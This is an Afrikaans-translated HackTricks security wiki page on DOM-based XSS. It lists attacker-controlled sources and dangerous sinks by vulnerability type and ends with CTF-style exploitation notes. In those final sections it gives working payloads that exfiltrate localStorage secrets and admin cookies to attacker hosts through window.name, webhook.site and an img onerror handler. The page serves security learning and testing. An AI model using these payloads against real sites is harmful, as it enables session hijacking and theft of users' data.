DOM XSS
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
DOM Kwetsbaarhede
DOM kwetsbaarhede kom voor wanneer data van attacker-controlled sources (like location.search, document.referrer, or document.cookie) onveilig oorgedra word na sinks. Sinks is funksies of objeke (e.g., eval(), document.body.innerHTML) wat skadelike inhoud kan uitvoer of weergee as hulle kwaadaardige data ontvang.
- Sources is insette wat deur aanvallers gemanipuleer kan word, insluitend URLs, cookies, en webboodskappe.
- Sinks is moontlik gevaarlike eindpunte waar kwaadaardige data nadelige gevolge kan hê, soos die uitvoering van skripte.
Die risiko ontstaan wanneer data van ’n source na ’n sink vloei sonder behoorlike validasie of sanitasie, wat aanvalle soos XSS moontlik maak.
Tip
Jy kan ’n meer op-datum lys van sources en sinks vind by https://github.com/wisec/domxsswiki/wiki
Algemene sources:
document.URL
document.documentURI
document.URLUnencoded
document.baseURI
location
document.cookie
document.referrer
window.name
history.pushState
history.replaceState
localStorage
sessionStorage
IndexedDB(mozIndexedDB, webkitIndexedDB, msIndexedDB)
Database
Common Sinks:
| Open Redirect | Javascript Injection | DOM-data manipulation | jQuery |
|---|---|---|---|
location | eval() | scriptElement.src | add() |
location.host | Function() constructor | scriptElement.text | after() |
location.hostname | setTimeout() | scriptElement.textContent | append() |
location.href | setInterval() | scriptElement.innerText | animate() |
location.pathname | setImmediate() | someDOMElement.setAttribute() | insertAfter() |
location.search | execCommand() | someDOMElement.search | insertBefore() |
location.protocol | execScript() | someDOMElement.text | before() |
location.assign() | msSetImmediate() | someDOMElement.textContent | html() |
location.replace() | range.createContextualFragment() | someDOMElement.innerText | prepend() |
open() | crypto.generateCRMFRequest() | someDOMElement.outerText | replaceAll() |
domElem.srcdoc | ``Local file-path manipulation | someDOMElement.value | replaceWith() |
XMLHttpRequest.open() | FileReader.readAsArrayBuffer() | someDOMElement.name | wrap() |
XMLHttpRequest.send() | FileReader.readAsBinaryString() | someDOMElement.target | wrapInner() |
jQuery.ajax() | FileReader.readAsDataURL() | someDOMElement.method | wrapAll() |
$.ajax() | FileReader.readAsText() | someDOMElement.type | has() |
| ``Ajax request manipulation | FileReader.readAsFile() | someDOMElement.backgroundImage | constructor() |
XMLHttpRequest.setRequestHeader() | FileReader.root.getFile() | someDOMElement.cssText | init() |
XMLHttpRequest.open() | FileReader.root.getFile() | someDOMElement.codebase | index() |
XMLHttpRequest.send() | Link manipulation | someDOMElement.innerHTML | jQuery.parseHTML() |
jQuery.globalEval() | someDOMElement.href | someDOMElement.outerHTML | $.parseHTML() |
$.globalEval() | someDOMElement.src | someDOMElement.insertAdjacentHTML | Client-side JSON injection |
| ``HTML5-storage manipulation | someDOMElement.action | someDOMElement.onevent | JSON.parse() |
sessionStorage.setItem() | XPath injection | document.write() | jQuery.parseJSON() |
localStorage.setItem() | document.evaluate() | document.writeln() | $.parseJSON() |
**[**`Denial of Service`**](dom-xss.md#denial-of-service)** | someDOMElement.evaluate() | document.title | ``Cookie manipulation |
requestFileSystem() | ``Document-domain manipulation | document.implementation.createHTMLDocument() | document.cookie |
RegExp() | document.domain | history.pushState() | WebSocket-URL poisoning |
| Client-Side SQl injection | Web-message manipulation | history.replaceState() | WebSocket |
executeSql() | postMessage() | `` | `` |
The innerHTML sink doesn’t accept script elements on any modern browser, nor will svg onload events fire. This means you will need to use alternative elements like img or iframe.
Die innerHTML sink aanvaar nie script elemente in enige moderne browser nie, en svg onload gebeure sal ook nie afgevuur word nie. Dit beteken jy sal alternatiewe elemente soos img of iframe moet gebruik.
This kind of XSS is probably the hardest to find, as you need to look inside the JS code, see if it’s using any object whose value you control, and in that case, see if there is any way to abuse it to execute arbitrary JS.
Hierdie tipe XSS is waarskynlik die moeilikste om te vind, aangesien jy binne die JS-kode moet kyk of dit enige objek gebruik waarvan jy die waarde beheer, en in daardie geval moet nagaan of daar ’n manier is om dit te misbruik om arbitrêre JS uit te voer.
Tools to find them
- https://github.com/mozilla/eslint-plugin-no-unsanitized
- Browser extension to check every data taht reaches a potential sink: https://github.com/kevin-mizu/domloggerpp
Voorbeelde
Open Redirect
From: https://portswigger.net/web-security/dom-based/open-redirection
Open redirect vulnerabilities in the DOM occur when a script writes data, which an attacker can control, into a sink capable of initiating navigation across domains.
Open redirect vulnerabilities in the DOM gebeur wanneer ’n script data skryf, wat ’n attacker kan beheer, in ’n sink wat navigasie oor domeine kan inisieer.
It’s crucial to understand that executing arbitrary code, such as javascript:alert(1), is possible if you have control over the start of the URL where the redirection occurs.
Dit is belangrik om te verstaan dat die uitvoering van arbitrêre kode, soos javascript:alert(1), moontlik is as jy beheer het oor die begin van die URL waar die omleiding plaasvind.
Sinks:
location
location.host
location.hostname
location.href
location.pathname
location.search
location.protocol
location.assign()
location.replace()
open()
domElem.srcdoc
XMLHttpRequest.open()
XMLHttpRequest.send()
jQuery.ajax()
$.ajax()
Cookie-manipulasie
Van: https://portswigger.net/web-security/dom-based/cookie-manipulation
DOM-based cookie-manipulasie-kwesbaarhede kom voor wanneer ’n script data insluit wat deur ’n aanvaller beheer kan word in die waarde van ’n cookie. Hierdie kwesbaarheid kan lei tot onverwagte gedrag van die webbladsy as die cookie binne die site gebruik word. Boonop kan dit uitgebuit word om ’n session fixation attack uit te voer as die cookie betrokke is by die volg van gebruikersessies. Die primêre sink wat met hierdie kwesbaarheid geassosieer word, is:
Sinks:
document.cookie
JavaScript Injection
From: https://portswigger.net/web-security/dom-based/javascript-injection
DOM-based JavaScript injection-kwesbaarhede ontstaan wanneer ’n script data, wat deur ’n aanvaller beheer kan word, as JavaScript code uitvoer.
Sinks:
eval()
Function() constructor
setTimeout()
setInterval()
setImmediate()
execCommand()
execScript()
msSetImmediate()
range.createContextualFragment()
crypto.generateCRMFRequest()
Document-domain manipulation
From: https://portswigger.net/web-security/dom-based/document-domain-manipulation
Document-domain manipulation vulnerabilities kom voor wanneer ’n script die document.domain-eienskap stel deur data te gebruik wat ’n aanvaller kan beheer.
Die document.domain-eienskap speel ’n sleutelrol in die afdwinging van die same-origin policy deur blaaiers. Wanneer twee bladsye van verskillende oorspronge hul document.domain op die dieselfde waarde stel, kan hulle sonder beperkings met mekaar kommunikeer. Alhoewel blaaiers sekere beperkings oplê op watter waardes aan document.domain toegeken kan word, wat die toekenning van heeltemal onverwante waardes aan die werklike bladsy-oorsprong voorkom, bestaan daar uitsonderings. Gewoonlik laat blaaiers die gebruik van subdomeine of ouer-domeine toe.
Sinks:
document.domain
WebSocket-URL poisoning
From: https://portswigger.net/web-security/dom-based/websocket-url-poisoning
WebSocket-URL poisoning gebeur wanneer ’n script beheersbare data as die teiken-URL vir ’n WebSocket-verbinding gebruik.
Sinks:
Die WebSocket constructor kan lei tot WebSocket-URL poisoning vulnerabilities.
Link manipulation
From: https://portswigger.net/web-security/dom-based/link-manipulation
DOM-based link-manipulation vulnerabilities kom voor wanneer ’n script skryf attacker-controllable data to a navigation target binne die huidige bladsy, soos ’n klikbare skakel of die indienings-URL van ’n vorm.
Sinks:
someDOMElement.href
someDOMElement.src
someDOMElement.action
Ajax request manipulation
Van: https://portswigger.net/web-security/dom-based/ajax-request-header-manipulation
Ajax request manipulation vulnerabilities ontstaan wanneer ’n script attacker-controllable data into an Ajax request skryf wat gestuur word deur ’n XmlHttpRequest object.
Sinks:
XMLHttpRequest.setRequestHeader()
XMLHttpRequest.open()
XMLHttpRequest.send()
jQuery.globalEval()
$.globalEval()
Local file-path manipulation
Van: https://portswigger.net/web-security/dom-based/local-file-path-manipulation
Local file-path manipulation vulnerabilities ontstaan wanneer ’n script attacker-controllable data to a file-handling API as die filename parameter stuur. Hierdie kwesbaarheid kan deur ’n aanvaller uitgebuit word om ’n URL te konstrueer wat, indien deur ’n ander gebruiker besoek, ertoe kan lei dat die blaaier van die gebruiker ’n ewekansige plaaslike lêer oopmaak of skryf.
Sinks:
FileReader.readAsArrayBuffer()
FileReader.readAsBinaryString()
FileReader.readAsDataURL()
FileReader.readAsText()
FileReader.readAsFile()
FileReader.root.getFile()
FileReader.root.getFile()
Client-Side SQl injection
Van: https://portswigger.net/web-security/dom-based/client-side-sql-injection
Client-side SQL-injection vulnerabilities kom voor wanneer ’n script attacker-controllable data in ’n client-side SQL query op ’n onveilige manier inkorporeer.
Sinks:
executeSql()
HTML5-storage manipulation
From: https://portswigger.net/web-security/dom-based/html5-storage-manipulation
HTML5-storage manipulation vulnerabilities ontstaan wanneer ’n script aanvaller-beheerbare data in die webblaaier se HTML5 storage stoor (localStorage of sessionStorage). Hoewel hierdie aksie op sigself nie noodwendig ’n sekuriteitskwessie is nie, word dit problematies as die toepassing daarna die gestoor data lees en onveilig verwerk. Dit kan ’n aanvaller toelaat om die storingsmeganisme te benut om ander DOM-based attacks uit te voer, soos cross-site scripting en JavaScript injection.
Sinks:
sessionStorage.setItem()
localStorage.setItem()
XPath injection
Van: https://portswigger.net/web-security/dom-based/client-side-xpath-injection
DOM-based XPath-injection vulnerabilities kom voor wanneer ’n skrip attacker-controllable data into an XPath query inkorporeer.
Sinks:
document.evaluate()
someDOMElement.evaluate()
Client-side JSON injection
From: https://portswigger.net/web-security/dom-based/client-side-json-injection
DOM-based JSON-injection vulnerabilities kom voor wanneer ’n script inkorporeer attacker-controllable data into a string that is parsed as a JSON data structure and then processed by the application.
Sinks:
JSON.parse()
jQuery.parseJSON()
$.parseJSON()
Web-message manipulation
From: https://portswigger.net/web-security/dom-based/web-message-manipulation
Web-message vulnerabilities ontstaan wanneer ’n skrip data wat deur ’n aanvaller beheer kan word as ’n webboodskap na ’n ander dokument binne die blaaier stuur. ’n Voorbeeld van kwesbare Web-message manipulation is te vinde by PortSwigger’s Web Security Academy.
Sinks:
DOM-data manipulation
From: https://portswigger.net/web-security/dom-based/dom-data-manipulation
DOM-data manipulation vulnerabilities ontstaan wanneer ’n skrip data wat deur ’n aanvaller beheer kan word na ’n veld binne die DOM skryf wat binne die sigbare UI of client-side logika gebruik word. Hierdie kwesbaarheid kan deur ’n aanvaller uitgebuit word om ’n URL te konstrueer wat, as dit deur ’n ander gebruiker besoek word, die voorkoms of gedrag van die client-side UI kan verander.
Sinks:
scriptElement.src
scriptElement.text
scriptElement.textContent
scriptElement.innerText
someDOMElement.setAttribute()
someDOMElement.search
someDOMElement.text
someDOMElement.textContent
someDOMElement.innerText
someDOMElement.outerText
someDOMElement.value
someDOMElement.name
someDOMElement.target
someDOMElement.method
someDOMElement.type
someDOMElement.backgroundImage
someDOMElement.cssText
someDOMElement.codebase
document.title
document.implementation.createHTMLDocument()
history.pushState()
history.replaceState()
Denial of Service
Bron: https://portswigger.net/web-security/dom-based/denial-of-service
DOM-based denial-of-service vulnerabilities kom voor wanneer ’n skrip deur die aanvaller beheerbare data onveilig aan ’n problematiese platform-API deurgee. Dit sluit APIs in wat, wanneer aangeroep, die gebruiker se rekenaar daartoe kan lei om oormatige hoeveelhede CPU of skyfruimte te verbruik. Sulke kwetsbaarhede kan beduidende newe-effekte hê, soos dat die blaaier die webwerf se funksionaliteit beperk deur pogings om data in localStorage te stoor te verwerp, of deur besige skripte te beëindig.
Sinks:
requestFileSystem()
RegExp()
Dom Clobbering
Implicit globals & window.name abuse
Wanneer name sonder ’n deklarasie (var/let/const) gebruik word, verwys dit na window.name. Omdat window.name oor kruis-oorsprong-navigasies behoue bly, kan ’n aanvaller ’n blaai-konteksnaam vooraf vul met HTML/JS en later slagoffer-kode dit as vertroude data laat render:
- Open/navigeer die teiken in ’n benoemde konteks wat jy beheer:
<iframe name="<img src=x onerror=fetch('https://oast/?f='+btoa(localStorage.flag))>" src="https://target/page"></iframe>
- Of hergebruik
window.openmet ’n vervaardigde target-naam:
window.open('https://target/page', "<svg/onload=alert(document.domain)>")
As die toepassing later element.innerHTML = name (of ’n soortgelyke sink) sonder sanitisering doen, sal die deur die aanvaller beheerde window.name-string in die teiken-origin uitgevoer word, wat DOM XSS en toegang tot same-origin storage moontlik maak.
Admin/automation strome: vooraf-gevulde opslag & javascript: navigasie
Automatiserings-bots (bv. Playwright) besoek dikwels eers ’n interne bladsy, stel geheime in localStorage/cookies, en navigeer dan na gebruikersverskafde URLs. Enige DOM XSS-primitive (insluitend misbruik van window.name) in daardie stroom kan die vooraf-gevulde geheim uitlek:
fetch('https://webhook.site/<id>?flag=' + encodeURIComponent(localStorage.getItem('flag')))
As die bot nie skemas beperk nie, sal die verskaffing van ’n javascript: URL (javascript:fetch(...)) in die huidige oorsprong sonder nuwe navigasie uitgevoer word, directly leaking storage values.
Template literal innerHTML + gedeeltelike sanitisasie-gate
Frontends wat slegs sekere velde sanitiseer maar steeds ’n onbetroubare een direk in innerHTML interpoleer, is triviaal uitbuitbaar. Voorbeeld:
fetch(`${window.location.origin}/admin/bug_reports`).then(r => r.json()).then(reports => {
reports.forEach(report => {
reportCard.innerHTML = `
<div>${DOMPurify.sanitize(report.id)}</div>
<div>${report.details}</div> <!-- unsanitized sink -->
`;
});
});
As die ongesaniteerde veld op die server gestoor word (bv. bug report “details”), word die payload stored DOM XSS vir enige gemagtigde kyker van die lys. ’n Eenvoudige payload soos <img src=x onerror=fetch('http://ATTACKER/?c='+document.cookie)> word uitgevoer wanneer ’n admin die bladsy open en stuur hul koekies na die aanvaller.
Wanneer die app uitdruklik SESSION_COOKIE_HTTPONLY deaktiveer (bv. Flask app.config['SESSION_COOKIE_HTTPONLY'] = False), gee die gesteelde cookie dadelik toegang tot die admin session selfs al roteer die signing secret by elke opstart (toevallige secret_key verhoed vervalsing, maar diefstal werk steeds).
Verwysings
- Flagvent 2025 (Medium) — pink, Santa’s Wishlist, Christmas Metadata, Captured Noise
- HTB: Imagery (stored DOM XSS via partial DOMPurify + session theft)
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.


